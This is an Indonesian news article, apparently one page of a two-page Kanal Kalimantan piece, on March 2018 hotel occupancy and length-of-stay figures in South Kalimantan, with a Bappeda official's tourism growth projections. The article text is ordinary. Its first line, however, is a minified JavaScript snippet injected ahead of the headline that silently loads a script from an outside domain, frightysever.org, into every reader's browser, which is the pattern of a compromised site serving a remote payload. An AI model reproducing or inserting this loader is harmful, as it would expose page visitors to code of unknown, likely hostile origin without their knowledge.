(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sektor Pariwisata Mampu Dongkrak Hunian Hotel di Kalsel 10,74%


Wisatawan Asing Meningkat

Rata-rata lama menginap (RTLM) tamu asing dan dalam negeri (domestik) hotel berbintang di Kalimantan Selatan pada bulan Maret 2018 terjadi kenaikan jika dibandingkan bulan Februari 2018. Dilihat dari klasifikasi hotel, RTLM tertinggi terjadi pada hotel berbintang 1 selama 2,93 malam, dan terendah terjadi pada hotel berbintang 2 selama 1,30 malam.

Menurut Diah, dilihat dari jenis tamu yang menginap, rata-rata lama menginap tamu asing  di hotel berbintang pada bulan Maret 2018 lebih tinggi dibanding tamu dalam negeri (nusantara). Rata-ratanya, masing-masing menginap selama 2,41 malam untuk tamu asing dan 1,85 malam untuk tamu dalam negeri.

Sementara itu, rata-rata Lama Menginap (RTLM) tamu asing dan dalam negeri (domestik) pada hotel non bintang untuk bulan Maret 2018 adalah 1,66 malam, atau naik 0,49 malam dibandingkan keadaan bulan Februari 2018 sebesar 1,17 malam. Dibandingkan dengan periode yang sama tahun yang lalu (Maret 2017) mengalami kenaikan sebesar 0,66 malam, dimana pada bulan tersebut RTLM sebesar 1,00 malam.

“Dilihat dari kelompok kamar, RTLM tertinggi pada hotel non bintang terjadi pada kelompok hotel dengan jumlah kamar 25 -40 selama 1,78 malam, dan yang terendah terjadi pada kelompok jumlah kamar < 10 selama 1,34 malam,” jelasnya.

Terkait data tersebut, Kabid Ekonomi Bappeda Provinsi Kalsel, Riza Rosyadi mengatakan, pemerintah sudah membikin proyeksi untuk pertumbuhan sektor pariwisata. Karena untuk bisa memiliki porsi sebesar industri batu bara saat ini terhadap ekonomi, Kalsel harus bisa mendatangkan setidaknya lima juta wisatawan setahun.

“Walaupun tidak mudah dan masih merupakan gambaran proyeksi, namun beberapa pihak mendukung dan menganggap proyeksi ini bukan hal yang mustahil,” jelasnya beberapa waktu lalu.

Beberapa tempat wisata pun saat ini gencar dihidupkan. Seperti Lembah Kahung, Gunung Mawar, dan Desa Kiram yang didorong menjadi kawasan ekonomi khusus pariwisata. Terus bergairahnya sektor pariwisata di Kalsel akan memberi sinyal positif pada pertumbuhan ekonomi daerah. Belum lagi tumbuhnya sektor lain, seperti industri dan pertanian.(rico)

Reporter: Rico
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

PUPR Kalsel Gelar Pelatihan Peningkatan Kapasitas Administrator SIPJAKI

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More

12 jam ago

Camat Mantangai Monitoring Posyandu di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS - Camat Mantangai, Yubderi melakukan monitoring kegiatan pelayanan di Posyandu Desa Manusup,… Read More

12 jam ago

Penjual Tuak di Kelurahan Bangkal Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Unit Reskrim Polsek Cempaka menggeledah rumah terduga penjual minumas keras (miras) jenis… Read More

12 jam ago

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

17 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

17 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

18 jam ago

This website uses cookies.